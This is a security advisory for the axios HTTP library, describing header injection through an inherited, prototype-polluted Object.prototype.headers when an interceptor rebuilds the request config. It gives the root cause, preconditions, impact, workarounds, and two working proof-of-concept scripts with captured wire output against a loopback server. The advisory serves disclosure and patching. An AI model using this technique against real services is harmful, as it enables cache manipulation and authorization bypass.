Axios: Header Injection via Inherited headers After Minimal Interceptor

Upgrade to 1.20.0 · >=1.20.0

Not affected:

• Requests whose interceptor preserves an own headers property.
• Interceptors that mutate and return the existing null-prototype config.
• Processes without prototype pollution.

Technical Details

lib/core/dispatchRequest.js contains:

config.headers = AxiosHeaders.from(config.headers);

The initial merged config is null-prototype, but an interceptor can replace it with a normal object. If that object has no own headers, the read can resolve Object.prototype.headers.

Local verification on axios 1.18.1 polluted Object.prototype.headers = { 'X-Poisoned': 'yes' }, installed an interceptor that returned { url, method, timeout, proxy: false }, and sent a request. The loopback server received X-Poisoned: yes.

Proof of Concept of Attack

Constrained local demonstration:

Object.prototype.headers = { 'X-Poisoned': 'yes' };

const client = axios.create();
client.interceptors.request.use((config) => ({
  url: config.url,
  method: config.method,
  timeout: config.timeout
}));

await client.get(url);

Expected safe behavior is that missing headers normalize to an empty header set. Current affected behavior reads inherited Object.prototype.headers.

Workarounds

Interceptors that rebuild config should always set an own headers property, for example by preserving config.headers or setting headers: {}. Mutating and returning the existing merged config also avoids replacing the null-prototype object.

Summary

Axios 1.17.0 blocks the old Object.prototype.common header bucket gadget. However, if a request interceptor rebuilds a minimal config object and omits headers, dispatchRequest() reads inherited Object.prototype.headers.

This allows attacker-controlled headers to be placed on the wire.

Affected Version

Validated on:

• axios: 1.17.0
• commit: 4306df2
• runtime: Node.js v24.15.0

Preconditions

• A separate prototype-pollution primitive can write an object to Object.prototype.headers.
• A request interceptor rebuilds config and omits own headers.

Root Cause

dispatchRequest() uses:

config.headers = AxiosHeaders.from(config.headers);

If config is a normal object returned by an interceptor and lacks own headers, this reads Object.prototype.headers.

Impact

An attacker can inject request headers. Depending on the target service, this can cause cache manipulation, conditional-response suppression, request smuggling preconditions, metadata-service header injection, or application-specific authorization bypass.

Proof of Concept

import axios from './index.js';
import http from 'http';

const start = (handler) => new Promise((resolve) => {
  const server = http.createServer(handler);
  server.listen(0, '127.0.0.1', () => resolve(server));
});

const stop = (server) => new Promise((resolve) => server.close(resolve));

const hits = [];

const server = await start((req, res) => {
  hits.push(req.headers);
  res.setHeader('Content-Type', 'application/json');
  res.end('{"ok":true}');
});

try {
  Object.prototype.headers = {
    'X-Poisoned': 'yes',
    'If-None-Match': '*'
  };

  const client = axios.create();
  client.interceptors.request.use((config) => ({
    url: config.url,
    method: config.method,
    timeout: config.timeout
  }));

  await client.get(`http://127.0.0.1:${server.address().port}/headers`, {
    timeout: 3000
  });

  console.log(hits[0]);
} finally {
  delete Object.prototype.headers;
  await stop(server);
}

Observed wire headers:

{
  "x-poisoned": "yes",
  "if-none-match": "*",
  "user-agent": "axios/1.17.0"
}

References

• https://github.com/axios/axios/security/advisories/GHSA-898c-q2cr-xwhg
• https://osv.dev/vulnerability/GHSA-898c-q2cr-xwhg